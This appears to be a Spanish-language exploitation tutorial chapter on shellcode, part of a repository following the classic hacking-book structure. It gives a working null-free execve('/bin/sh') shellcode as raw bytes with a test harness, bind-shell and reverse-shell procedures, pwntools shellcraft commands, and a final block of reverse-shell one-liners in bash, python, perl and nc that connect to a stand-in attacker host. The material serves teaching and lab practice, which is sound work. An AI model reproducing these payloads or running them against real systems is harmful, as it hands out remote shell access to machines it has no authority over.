Skip to content

Latest commit

 

History

History
332 lines (244 loc) · 9.16 KB

File metadata and controls

332 lines (244 loc) · 9.16 KB

0x500 — Shellcode

Índice


0x510 — Assembly vs C

C te lleva al ensamblador, pero hay tres motivos para escribirlo a mano:

  1. Tamaño. El shellcode tiene que caber en un buffer pequeño. Un execve("/bin/sh") en C compilado son cientos de bytes. En ensamblador puedes hacerlo en 27.
  2. Sin nulos. Muchos vectores (strcpy, strcat) cortan en el primer \0. El compilador genera nulls a discreción; el ensamblador a mano puede evitarlos.
  3. Sin dependencias. Tu shellcode no puede usar libc — no está cargada en el contexto en el que se ejecuta. Tienes que hablar directamente con el kernel vía syscalls.

Syscalls en x86-64 Linux

Las syscalls se invocan con la instrucción syscall. Los argumentos van en registros:

Registro Significado
rax número de syscall
rdi 1er argumento
rsi 2º argumento
rdx 3er argumento
r10 4º argumento (rcx se reserva para syscall)
r8 5º argumento
r9 6º argumento
rax retorno

Lista completa en /usr/include/asm/unistd_64.h. Las que más usaremos:

Syscall Args
0 read fd, buf, count
1 write fd, buf, count
2 open pathname, flags, mode
3 close fd
9 mmap ...
10 mprotect addr, len, prot
41 socket domain, type, proto
42 connect fd, sockaddr, len
43 accept fd, sockaddr, len
49 bind fd, sockaddr, len
50 listen fd, backlog
59 execve filename, argv, envp
60 exit status

Diferencia con x86 32-bit: ahí el syscall se invoca con int 0x80, los args van en ebx, ecx, edx, esi, edi, ebp y los números son distintos (ver unistd_32.h).


0x520 — El camino al shellcode

"Hello, world" en ensamblador puro

codigo/0x520/helloworld.s — assembler estándar para Linux x86-64:

; helloworld.s — escribe "Hola!\n" en stdout y sale.
; Compilar:
;   nasm -f elf64 helloworld.s -o helloworld.o
;   ld helloworld.o -o helloworld

section .data
msg:    db  "Hola!", 0x0a
msglen: equ $ - msg

section .text
global _start

_start:
    mov rax, 1          ; sys_write
    mov rdi, 1          ; stdout
    lea rsi, [rel msg]
    mov rdx, msglen
    syscall

    mov rax, 60         ; sys_exit
    xor rdi, rdi
    syscall

Compilar:

nasm -f elf64 codigo/0x520/helloworld.s -o /tmp/hw.o
ld /tmp/hw.o -o codigo/0x520/helloworld
./codigo/0x520/helloworld
# Hola!

Tamaño:

$ wc -c codigo/0x520/helloworld
12872 codigo/0x520/helloworld
$ size codigo/0x520/helloworld
   text    data     bss     dec     hex filename
     45       6       0      51      33 codigo/0x520/helloworld

El binario completo son ~13 KB (overhead ELF), pero el código real son 45 bytes. El compilador C que genera el mismo printf("Hola!\n") saca cientos.

Extraer los bytes

Para meter ensamblador en un exploit necesitamos los bytes crudos:

$ objdump -d codigo/0x520/helloworld | grep -A20 _start
0000000000401000 <_start>:
  401000:       b8 01 00 00 00          mov    eax,0x1
  401005:       bf 01 00 00 00          mov    edi,0x1
  ...

O más cómodo:

$ for i in $(objdump -d codigo/0x520/helloworld | grep '^ ' | cut -f2); do echo -n "\\x$i"; done
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00...

Eliminar nulos

mov rax, 1 se ensambla como b8 01 00 00 00 — cuatro nulls. Si pasamos el shellcode por strcpy, se corta tras el primer null. Solución: usar instrucciones que generen el mismo resultado sin nulls:

; en lugar de mov rax, 1
xor eax, eax        ; eax = 0  (xor reg,reg = 31 c0 = sin nulls)
inc al              ; eax = 1  (fe c0)

Ahorramos espacio y eliminamos nulos. Es la regla principal del shellcode-fu: nunca usar nada con bytes 0x00.


0x530 — Shell-spawning shellcode

El "Hello, world" del shellcode es ejecutar /bin/sh. El syscall correspondiente:

execve("/bin/sh", argv, envp);
// equivalente a:
//   rax = 59
//   rdi = "/bin/sh\0"
//   rsi = argv (puede ser NULL)
//   rdx = envp (puede ser NULL)

Versión con nulls (no apta para strcpy)

codigo/0x530/exec_sh.s:

section .data
binsh:  db "/bin/sh", 0

section .text
global _start
_start:
    lea rdi, [rel binsh]
    xor rsi, rsi        ; argv = NULL
    xor rdx, rdx        ; envp = NULL
    mov rax, 59
    syscall

Versión sin nulls (lista para meter en payload)

codigo/0x530/exec_sh_nonull.s:

section .text
global _start
_start:
    ; "/bin//sh" como qword (8 bytes): "//bin/sh" reverse little-endian
    mov rbx, 0x68732f2f6e69622f    ; "/bin//sh" (la doble / es padding inocuo)
    push rbx
    mov rdi, rsp                    ; rdi -> "/bin//sh" en la pila
    xor rsi, rsi
    xor rdx, rdx
    mov al, 59                      ; rax = 0 (xor previo) → mov al = 59
    syscall

Truco clave: encolar "/bin//sh" en la pila como un valor inmediato de 64 bits y apuntar rdi a rsp. Así no necesitamos una sección .data, no hay nulls, y el shellcode mide 22 bytes.

Verificar que no hay nulls:

$ nasm -f elf64 codigo/0x530/exec_sh_nonull.s -o /tmp/sh.o
$ objcopy -O binary --only-section=.text /tmp/sh.o /tmp/sh.bin
$ xxd /tmp/sh.bin
00000000: 48bb 2f62 696e 2f2f 7368 5348 89e7 4831  H./bin//shSH..H1
00000010: f648 31d2 b03b 0f05                      .H1..;..
$ wc -c /tmp/sh.bin
24 /tmp/sh.bin

Cero bytes 00.

Probarlo

codigo/0x530/test_shellcode.c — un programa que ejecuta el shellcode como código:

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

unsigned char shellcode[] =
    "\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    "\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2"
    "\xb0\x3b\x0f\x05";

int main(void) {
    void *page = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
                      MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    memcpy(page, shellcode, sizeof shellcode);
    ((void(*)())page)();
    return 0;
}

Compilar y ejecutar:

$ make 0x530 && ./codigo/0x530/test_shellcode
$ whoami
clau
$ exit       # cierra la shell hija

mmap con PROT_EXEC evita la restricción NX del binario host. En un exploit real, la región ejecutable la marca el atacante con mprotect o salta a system() (ret2libc).


0x540 — Port-binding shellcode

Una bind shell abre un puerto en el target y atiende conexiones; quien se conecte recibe una shell.

Pasos:

  1. socket(AF_INET, SOCK_STREAM, 0) → fd
  2. bind(fd, &addr, sizeof addr)
  3. listen(fd, 0)
  4. accept(fd, NULL, NULL) → cliente_fd
  5. dup2(cliente_fd, 0/1/2) (stdin/stdout/stderr → cliente)
  6. execve("/bin/sh", NULL, NULL)

codigo/0x540/bindshell.s — implementación en x86-64 sin nulls (~95 bytes). Comentado paso a paso.

Probar en localhost:

make 0x540
./codigo/0x540/test_bindshell &
nc 127.0.0.1 31337
$ id
uid=1000(...)
$ exit

0x550 — Connect-back shellcode

Una reverse shell invierte la dirección: el target conecta hacia el atacante. Pasa firewalls outbound-permisivos. Es la opción default en pentesting moderno.

Pasos:

  1. socket(AF_INET, SOCK_STREAM, 0) → fd
  2. connect(fd, &atacante, sizeof atacante)
  3. dup2(fd, 0/1/2)
  4. execve("/bin/sh", NULL, NULL)

codigo/0x550/reverse_shell.s.

Probar:

# en el "atacante":
nc -lvnp 4444

# en el "target":
make 0x550 && ./codigo/0x550/test_reverse 127.0.0.1 4444
# (nc recibe la shell)

Generar shellcode con pwntools

En la práctica casi nadie escribe shellcode a mano: se usa shellcraft:

$ python3 -c "from pwn import *; context.arch='amd64'; print(disasm(asm(shellcraft.amd64.linux.connect('1.2.3.4', 4444) + shellcraft.amd64.linux.dupsh('rbp'))))"

O directamente como bytes:

$ python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.dupsh()).hex())"
6a3b58 ... etc.

shellcraft se ocupa de mantener la calling convention, evitar nulls y generar variantes (statically-linked, alphanumeric, staged).

Equivalentes one-liner

Cuando el target tiene bash o python, no necesitas shellcode:

# bash reverse
bash -i >& /dev/tcp/atacante/4444 0>&1

# python3 reverse
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("atac",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

# perl
perl -e 'use Socket;$i="atac";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# nc con -e (poco común; -e está deshabilitado en Debian/Ubuntu por defecto)
nc -e /bin/sh atac 4444

Siguiente: 0x600 — Countermeasures.